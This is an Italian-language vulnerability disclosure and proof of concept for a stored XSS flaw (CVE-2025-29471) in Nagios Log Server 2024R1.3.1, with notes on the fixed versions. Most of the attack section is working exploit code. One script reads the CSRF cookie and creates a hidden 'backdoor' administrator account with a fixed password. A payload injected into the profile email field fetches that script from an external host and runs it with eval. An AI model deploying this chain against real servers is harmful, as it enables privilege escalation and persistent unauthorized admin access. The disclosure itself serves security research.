
XSS persistente in Nagios Log Server 2024R1.3.1
2024R1.3.1 e precedentiNagios Log Server 2024R1.3.1 (configurazione predefinita, Ubuntu 20.04)CWE-79CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:HSolo per scopi di test e ricerca autorizzati. Non testare né sfruttare questa vulnerabilità su sistemi di cui non si è proprietari o per i quali non si dispone di esplicita autorizzazione al test.
Una vulnerabilità XSS memorizzata in Nagios Log Server 2024R1.3.1 consente a un utente con privilegi limitati di iniettare JavaScript malevolo nel campo 'email' del proprio profilo.
Quando un amministratore visualizza i log di audit, il payload viene eseguito, determinando un'escalation di privilegi tramite la creazione non autorizzata di un account amministratore.
1.Ospita il payload xss.js sul tuo server esterno con il seguente contenuto. GitHub va bene.
Aggiorna <target-ip> con l'IP/Hostname del target Nagios Log Server.
(function() {
console.log("🔥[XSS] Payload Executing...🔥");
var csrfTokenMatch = document.cookie.match(/csrf_ls=([^;]+)/);
if (!csrfTokenMatch) return;
var csrfToken = encodeURIComponent(csrfTokenMatch[1]);
console.log("[XSS] CSRF Token:", csrfToken);
var requestBody = "csrf_ls=" + csrfToken +
"&name=backdoor" +
"&[email protected]" +
"&username=backdoor" +
"&password=Password123!" +
"&password2=Password123!" +
"&auth_type=admin" +
"&apiaccess=1" +
"&language=en_US" +
"&account_type=local";
fetch("http://<target-ip>/nagioslogserver/admin/users/create", {
method: "POST",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
body: requestBody
})
.then(response => response.text())
.then(function(data) {
console.log("🔥[XSS] User Created Successfully!🔥");
console.log(data);
})
.catch(console.error);
})();
Accedi a Nagios Log Server come utente standard (non amministratore).
Vai all'endpoint di aggiornamento del profilo:
http://<target-ip>/nagioslogserver/profile/update
Inietta il seguente payload nel campo email. Aggiorna la riga fetch con l'URL in cui è memorizzato xss.js.
<script>
fetch("https://<EXTERNAL-HOST>/xss.js")
.then(response => response.text())
.then(scriptText => eval(scriptText))
.catch(console.error);
</script>
Username: backdoor
Password: Password123!
backdoor con accesso amministratore completo in Nagios Log Server.Nagios Log Server 2024R2Nagios Log Server 2024R2 risolve la vulnerabilità di XSS memorizzato e ha aggiornato NagiosCVE-2025-29471 per questa vulnerabilità di XSS memorizzato, ma i dettagli sono rimasti non pubblicati a causa dell'assenza di un avviso di sicurezza pubblico da parte del fornitore2024R1.3.2) che applica retroattivamente la correzione della vulnerabilità di XSS memorizzato al ramo 2024R1CVE-2025-29471 è stato pubblicato formalmenteQuesto lavoro è stato svolto al di fuori del mio impiego e riflette i miei sforzi personali nella ricerca sulla sicurezza informatica.